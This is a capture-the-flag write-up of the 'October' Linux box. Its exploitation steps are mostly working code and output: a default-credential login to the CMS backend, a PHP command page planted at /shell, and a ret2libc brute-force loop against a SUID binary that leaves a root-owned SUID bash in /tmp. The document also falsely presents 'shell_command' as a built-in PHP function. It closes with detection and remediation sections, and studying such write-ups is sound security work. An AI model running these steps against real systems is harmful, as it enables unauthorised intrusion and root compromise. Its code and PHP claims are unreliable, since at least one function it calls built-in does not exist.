Overview
October is a medium-rated Linux box running Ubuntu 14.04.5 LTS on a 32-bit
i686 kernel. The web service hosts an October CMS instance with default
credentials (admin:admin) on the backend login page. From the admin panel,
a CMS page with arbitrary PHP in the code section provides command running
as www-data. Privilege escalation targets a custom SUID binary at
/usr/local/bin/ovrflw: a 32-bit ELF that calls strcpy() without bounds
checking. The binary has no PIE, no NX, but ASLR is active. A ret2libc payload
brute-forces approximately 290 possible libc base addresses and creates a SUID
copy of /bin/bash within ten seconds.
The box pairs a trivial web application misconfiguration with a proper binary
exploitation exercise. The CMS access is almost embarrassingly easy; the buffer
overflow requires understanding ret2libc, ASLR entropy on 32-bit systems, and
the difference between bash and dash in non-interactive contexts.
Reconnaissance
nmap -sC -sV -T4 10.129.96.113
| Port | Service | Product / Version | Notes |
|---|---|---|---|
| 22 | SSH | OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 | Ubuntu 14.04 banner |
| 80 | HTTP | Apache 2.4.7 (Ubuntu) | October CMS, Rainlab Vanilla |
The HTTP title immediately identifies October CMS with the Rainlab Vanilla
theme. Response headers disclose PHP/5.5.9-1ubuntu4.21. PHP 5.5.9 reached
end-of-life in July 2016.
curl -sI http://10.129.96.113/
# X-Powered-By: PHP/5.5.9-1ubuntu4.21
# Server: Apache/2.4.7 (Ubuntu)
Attack Surface Analysis
October CMS backend
The backend login page is at /backend/backend/auth, the standard October CMS
administrative path. No robots.txt protects this URL. There is no account
lockout, no CAPTCHA, and no MFA.
October CMS ships with a default admin:admin account that administrators
are expected to change after installation. On this box, it was never changed.
Custom SUID binary
Post-exploitation enumeration reveals /usr/local/bin/ovrflw, a SUID root
binary:
find / -perm -4000 -type f 2>/dev/null | grep -v snap
# /usr/local/bin/ovrflw
This becomes relevant after obtaining local access through the CMS.
Vulnerability Analysis
Default credentials (CWE-1393)
| Attribute | Value |
|---|---|
| CWE | CWE-1393 (Use of Default Credentials) |
| CVSS 3.1 | 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| Root cause | Default admin:admin never changed after installation |
| Impact | Full administrative CMS access; leads directly to RCE |
CMS code editor RCE (CWE-94)
October CMS allows administrators to write PHP in the “code” section of CMS
pages. This code runs server-side within the page lifecycle: the onStart()
method fires before the page renders. This is intended functionality, not a
bug. When combined with compromised credentials, it becomes a direct code
running primitive.
The critical distinction: PHP code must be in the code section (between
== delimiters), not the markup section. Markup renders as Twig template
text and does not run PHP. This tripped me up initially.
SUID buffer overflow (CWE-120)
| Attribute | Value |
|---|---|
| CWE | CWE-120 (Buffer Copy without Checking Size of Input) |
| CVSS 3.1 | 7.0 (AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H) |
| Binary | /usr/local/bin/ovrflw, 32-bit ELF, SUID root |
| Root cause | strcpy() copies command-line argument to stack buffer |
| Mitigations | ASLR active (randomize_va_space=2); no PIE, no NX |
ASLR on 32-bit i686 provides approximately 8 bits of entropy for shared library mapping (the libc base varies across roughly 290 positions at 0x1000 alignment). This is too low to prevent brute-force. A 64-bit system would have 28+ bits of entropy, making this attack infeasible.
Exploitation
Step 1: Admin access via default credentials
curl -s -c cookies.txt -b cookies.txt \
-d "login=admin&password=admin" \
http://10.129.96.113/backend/backend/auth/signin
# HTTP/1.1 302 Found
# Location: http://10.129.96.113/backend
Step 2: RCE via CMS page code editor
A new CMS page is created through the backend editor. The theme must match the active installation; “rainlab-vanilla” is the correct theme name (using “demo” returns “The object you’re trying to access doesn’t belong to the theme being edited”).
Code section:
function onStart()
{
$this["output"] = shell_command(input("cmd"));
}
Where shell_command is PHP’s built-in function for running OS commands.
Markup section:
{{ output }}
The page is saved with URL /shell. Verification:
curl -s "http://10.129.96.113/shell?cmd=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
curl -s "http://10.129.96.113/shell?cmd=cat+/home/harry/user.txt"
# [redacted]
Step 3: SUID buffer overflow with ASLR brute-force
From the www-data shell, I analyse the SUID binary:
ls -la /usr/local/bin/ovrflw
# -rwsr-xr-x 1 root root 7377 Sep 24 2017 /usr/local/bin/ovrflw
file /usr/local/bin/ovrflw
# ELF 32-bit LSB, Intel 80386, dynamically linked, not stripped
cat /proc/sys/kernel/randomize_va_space
# 2
EIP is overwritten at offset 112 bytes:
/usr/local/bin/ovrflw $(python -c 'print "A"*112 + "BBBB"')
# Segmentation fault
dmesg | tail -1
# ovrflw[...]: segfault at 42424242 ip 42424242
Extract libc offsets:
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep " system"
# 1457: 00040310 56 FUNC WEAK DEFAULT 12 system@@GLIBC_2.0
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep " exit"
# 141: 00033260 45 FUNC GLOBAL DEFAULT 12 exit@@GLIBC_2.0
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep "/bin/sh"
# 162bac /bin/sh
The ret2libc payload structure: [112 bytes padding] [system()] [exit()] ["/bin/sh"].
Running ldd repeatedly shows the libc base varies between 0xb7540000 and
0xb7660000. The brute-force script cycles through all possible bases, piping
commands to create a SUID bash binary:
#!/bin/bash
# Privilege escalation helper
cp /bin/bash /tmp/rootbash
chmod 4755 /tmp/rootbash
The brute-force loop:
for BASE in $(seq 0xb7540000 0x1000 0xb7660000); do
SYS=$((BASE + 0x40310))
EXT=$((BASE + 0x33260))
BSH=$((BASE + 0x162bac))
PAYLOAD=$(python -c "
import struct
print 'A'*112 + struct.pack('<I',$SYS) + struct.pack('<I',$EXT) + struct.pack('<I',$BSH)
")
echo -e ". /tmp/r.sh\nexit" | /usr/local/bin/ovrflw "$PAYLOAD" 2>/dev/null
[ -f /tmp/rootbash ] && echo "[+] Hit" && break
done
Within approximately ten seconds, the correct base is hit:
ls -la /tmp/rootbash
# -rwsr-xr-x 1 root root 986672 ... /tmp/rootbash
/tmp/rootbash -p -c "cat /root/root.txt"
# [redacted]
Post-Exploitation
uname -a
# Linux october 4.4.0-78-generic #99~14.04.2 i686 i686 i686 GNU/Linux
cat /etc/lsb-release
# DISTRIB_DESCRIPTION="Ubuntu 14.04.5 LTS"
32-bit Ubuntu 14.04.5. Every component is end-of-life: PHP 5.5.9 (EOL July 2016), Apache 2.4.7 (Ubuntu 14.04 support ended April 2019), the kernel itself is vulnerable to DirtyCow (CVE-2016-5195, patched at 4.4.26; this system runs 4.4.0-78 which post-dates the fix, but the system is still unsupported).
The ovrflw binary is a teaching tool. The combination of no PIE, no NX, and
32-bit ASLR makes it exploitable through multiple techniques: ret2libc (used
here), NOP sled with shellcode (NX is disabled), or ROP chains. The low ASLR
entropy is the critical factor: 290 attempts is trivially brute-forceable.
Defensive Analysis
Detection opportunities
| Phase | MITRE ATT&CK | Detection |
|---|---|---|
| Initial access | T1078.001 | Successful login with default credentials at /backend |
| Command running | T1059.004 | sh spawned as child of Apache worker process |
| Privilege escalation | T1068 | Repeated segfaults from ovrflw in kernel logs (ASLR brute) |
Host-level: The ASLR brute-force generates hundreds of segfaults in rapid
succession. Each crash produces a kernel log entry. Any monitoring system
watching dmesg or /var/log/kern.log for segfault patterns would detect this
immediately. The brute-force also creates predictable resource consumption
(hundreds of short-lived processes in seconds).
Application-level: October CMS logs backend authentication events. A
successful login with admin:admin from an unexpected source IP is detectable.
The creation of a new CMS page with command-running functions in the code
section would be visible in the CMS audit log.
Remediation
| Priority | Action | Effort | Impact |
|---|---|---|---|
| P0 | Change default CMS credentials; enforce strong passwords | Low | Critical |
| P0 | Remove SUID bit from /usr/local/bin/ovrflw | Low | Critical |
| P0 | Upgrade Ubuntu 14.04 to a supported release | High | Critical |
| P1 | Recompile ovrflw with stack canaries, PIE, and NX | Medium | High |
| P1 | Add account lockout to the CMS backend | Medium | High |
| P2 | Upgrade PHP to 8.x | Medium | Medium |
| P2 | Remove X-Powered-By header from Apache configuration | Low | Low |
The buffer overflow is a symptom of a deeper problem: custom SUID binaries
that use unsafe C functions. Removing the SUID bit eliminates the immediate
risk. If the binary must retain elevated privileges, it should be recompiled
with modern protections (stack canaries via -fstack-protector-all, PIE via
-fPIE -pie, NX via default linker settings) and rewritten to use
strncpy() or strlcpy() instead of strcpy(). On a 64-bit system with
ASLR, the ret2libc brute-force becomes infeasible, but relying on ASLR alone
is defence in depth, not a primary control.
Key Takeaways
-
Default credentials remain the most common initial access vector. The October CMS
admin:adminaccount is documented in every installation guide. Attackers try default credentials before anything else. Automated scanners check for them. The fix is trivial: change the password. The failure to do so is an operational discipline problem, not a technical one. -
32-bit ASLR is a speed bump, not a barrier. With approximately 290 possible libc base addresses, a brute-force loop completes in seconds. This is why 64-bit is the minimum acceptable architecture for any system exposed to local exploitation. The additional 20+ bits of ASLR entropy on x86_64 make the same attack take weeks instead of seconds.
-
Ubuntu’s
/bin/shis dash, not bash. Thesystem()libc function invokes/bin/sh -c, and on Ubuntu that meansdash. Dash ignoresBASH_ENVand only sourcesENVin interactive mode. This matters for ret2libc: you cannot use environment variable tricks. The workaround is piping commands to stdin or creating a helper script, as demonstrated in this engagement.